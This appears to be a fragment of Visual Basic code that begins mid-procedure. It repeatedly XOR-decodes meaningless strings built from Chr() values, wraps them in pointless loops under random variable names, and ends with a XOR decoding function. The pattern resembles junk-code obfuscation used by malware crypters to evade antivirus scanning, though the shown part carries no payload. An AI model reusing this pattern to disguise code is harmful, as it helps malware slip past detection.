lvHgVOEp = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(63) & Chr(32) & Chr(101) & Chr(61) & Chr(33) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
VlvOqrmz = LTrim(lvHgVOEp)
EgytcvdL = RTrim(VlvOqrmz)

DoEvents
Next ffpyMCLp
Dim ZGtVjHdd, JTqAxAvW, lJbwyBug As String
ZGtVjHdd = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(39) & Chr(57) & Chr(106) & Chr(55) & Chr(57) & Chr(55) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
JTqAxAvW = LTrim(ZGtVjHdd)
lJbwyBug = RTrim(JTqAxAvW)

Close #39
Dim EbpoPTEC As Integer
For EbpoPTEC = 0 To 7
Dim NAZeEDhQ, sUgutAlX, plJLeEBm As String
NAZeEDhQ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(35) & Chr(41) & Chr(106) & Chr(34) & Chr(48) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
sUgutAlX = LTrim(NAZeEDhQ)
plJLeEBm = RTrim(sUgutAlX)

DoEvents
Next EbpoPTEC
Dim XjkOUiyF, KjAWzsEG, DkQuxjaH As String
XjkOUiyF = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(39) & Chr(51) & Chr(97) & Chr(43) & Chr(60) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
KjAWzsEG = LTrim(XjkOUiyF)
DkQuxjaH = RTrim(KjAWzsEG)

cBuVwuMm:

Dim wldJoHam As Integer
For wldJoHam = 0 To 6
Dim dQLdlzNH, KYnUUxJU, cZizMKIb As String
dQLdlzNH = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(41) & Chr(121) & Chr(37) & Chr(61) & Chr(47) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
KYnUUxJU = LTrim(dQLdlzNH)
cZizMKIb = RTrim(KYnUUxJU)

DoEvents
Next wldJoHam
Dim RyluwpPT, LXvPnWXf, wuSRplTU As String
RyluwpPT = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(56) & Chr(127) & Chr(57) & Chr(34) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
LXvPnWXf = LTrim(RyluwpPT)
wuSRplTU = RTrim(LXvPnWXf)

    MPIRKLCZGPW bdskk, sdngkb
End Sub






'----------------------
'Xor Function
'----------------------
Public Function Xorex(ByVal sStr As String, ByVal sKey As String) As String
Dim i As Long
    For i = 1 To Len(sStr)
        Xorex = Xorex & Chr(Asc(Mid(sKey, IIf(i Mod Len(sKey) <> 0, i Mod Len(sKey), Len(sKey)), 1)) Xor Asc(Mid(sStr, i, 1)))
    Next i
End Function